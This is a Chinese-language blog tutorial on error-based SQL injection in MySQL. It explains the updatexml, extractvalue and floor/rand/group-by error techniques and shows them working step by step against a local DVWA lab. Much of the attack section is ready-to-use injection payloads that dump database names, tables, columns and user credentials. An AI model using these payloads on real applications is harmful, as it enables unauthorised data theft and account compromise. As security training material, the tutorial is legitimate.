知識鋪墊
在上一篇中我們在漏洞頁面中進行了SQL注入實戰之聯合查詢,這篇文章帶來的是SQL注入之報錯注入篇。
首先我們來細分一下SQL注入分類
SQL注入分類:
- 回顯正常---> 聯合查詢 union select
- 回顯報錯---> Duplicate entry()
extractvalue()
updatexml() - 盲注 --->布爾型盲注
基於時間的盲注sleep()
在探討SQL注入之報錯注入之前,有一個前提就是頁面能夠響應詳細的錯誤描述,然而mysql數據庫中顯示錯誤描述是因為開發程序中采用了print_r mysql_error()函數,將mysql錯誤信息輸出。
還有就是一起默寫一下SQL注入的核心語句吧,鞏固記憶的同時,方便后續注入的使用~
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
select column_name from information_schema.columns where table_name='users' and table_schema='dvwa';
select concat(username,password) from dvwa.users;
xpath報錯注入(extractvalue和updatexml)
一、知識鋪墊(請認真研讀)
- 在mysql高版本(大於5.1版本)
-
-
-
作用:改變文檔中符合條件的節點的值
-
語法: updatexml(XML_document,XPath_string,new_value) 第一個參數:是string格式,為XML文檔對象的名稱,文中為Doc 第二個參數:代表路徑,Xpath格式的字符串例如//title【@lang】 第三個參數:string格式,替換查找到的符合條件的數據
-
updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)
-
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));
-
- extractvalue()函數
-
-
extractvalue使用時當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)
-
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
-
-
二、updatexml()報錯注入實戰(基於dvwa平台)
前景提示:本人在虛擬機中搭建好了dvwa平台,在本機中完成SQL注入實戰,加載dvwa直接進入SQL注入模塊,我這里的等級為low。
我將自己構造的payload語句進行加粗顯示,剩下的都是固定格式。
開始注入
爆出數據庫及相關信息
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

爆當前數據庫表信息
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

注:此處使用group_concat()函數進行輸出,否則會出現錯誤。如下圖所示。

爆user表字段信息
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

爆數據庫內容
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

三、extractvalue()報錯注入實戰(基於dvwa平台)
extractvalue()函數其實與updatexml()函數大同小異,都是通過xpath路徑錯誤報錯,而本人的示例中皆為利用0x7e(~),其不屬於xpath語法格式,因此報出xpath語法錯誤。
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函數報錯注入
一、概述
原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;導致數據庫報錯,通過concat函數連接注入語句與floor(rand(0)*2)函數,實現將注入結果與報錯信息回顯的注入方式。
二、函數理解
附帶一下本次解釋函數的表創建步驟(不再附圖)以及數據的填充。
create database test1;
use test1;
create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);
insert into czs(id,name) values(1,'chenzishuo');
insert into czs(id,name) values(2,'zhangsan');
insert into czs(id,name) values(3,'lisi');
insert into czs(id,name) values(4,'wangwu');
- rand()函數
rand()可以產生一個在0和1之間的隨機數

可以看出,直接使用rand函數每次產生的數值不一樣,但當我們提供了一個固定的隨機數的種子0之后,每次產生的值都是相同的,這也可以稱之為偽隨機。

- floor (rand(0)*2)函數
floor函數的作用就是返回小於等於括號內該值的最大整數。
rand()本身是返回0~1的隨機數,但在后面*2就變成了返回0~2之間的隨機數。
配合上floor函數就可以產生確定的兩個數,即0和1。
並且結合固定的隨機數種子0,它每次產生的隨機數列都是相同的值。
此處的myclass 表為含有四行數據的表。
結合上述的函數,每次產生的隨機數列都是 0 1 1 0
-
group by 函數
group by 函數,作用就是分類匯總。
等一下再說group by,我們首先看一下我的表。
再在id 和 name后分別放入a x,意思就是id顯示為a name顯示為x。

然后使用group by 函數進行分組,並且按照x(name)進行排序。

友情提示:在使用group by 函數進行分類時,會因為mysql版本問題而產生問題,主要是啟用了ONLY_FULL_GROUP_BY SQL模式(默認情況下),MySQL將拒絕選擇列表,HAVING條件或ORDER BY列表的查詢引用在GROUP BY子句中既未命名的非集合列,也不在功能上依賴於它們。(或者自行百度解決)
https://blog.csdn.net/weixin_41991232/article/details/82803170 - count(*)函數
count(*)函數作用為統計結果的記錄數。
這就是對重復的數據進行整合計數,x就是每個name的數量,我這里每個只有一個當然count(*)都為1了。
- 綜合使用產生報錯
select count(*),floor(rand(0)*2) x from czs group by x;
當count(*)和group by x同時執行時,就會爆出duplicate entry錯誤。

根據前面的函數,這句話是統計后面的floor(rand(0)*2)from czs產生的隨機數種類並計算數量,0110,應該是兩個兩個,但是最后卻報錯了。
報錯原因解析通過 floor 報錯的方法來爆數據的本質是 group by 語句的報錯。group by 語句報錯的原因是 floor(random(0)*2)的不確定性,即可能為 0 也可能為 1group by key 執行時循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的 key 時,如果 key 存在於臨時表中,則更新臨時表中的數據(更新數據時,不再計算 rand 值);如果該 key 不存在於臨時表中,則在臨時表中插入 key 所在行的數據。(插入數據時,會再計算rand 值)如果此時臨時表只有 key 為 1 的行不存在 key 為 0 的行,那么數據庫要將該條記錄插入臨時表,由於是隨機數,插時又要計算一下隨機值,此時 floor(random(0)*2)結果可能為 1,就會導致插入時沖突而報錯。即檢測時和插入時兩次計算了隨機數的值實際測試中發現,出現報錯,至少要求數據記錄為 3 行,記錄數超過 3 行一定會報錯,2 行時是不報錯的。
三、實戰注入(基於dvwa平台)
①判斷是否存在報錯注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
可以看出存在報錯注入
②爆出當前數據庫名
dvwa前的1 是哪個隨機數,不要大驚小怪哦~
③爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#
④爆出字段名
改變limit限定數值,可以得出當前的字段 user_id first_name user password
⑤爆出user和password
再解碼可得 admin-password
大功告成!~~!
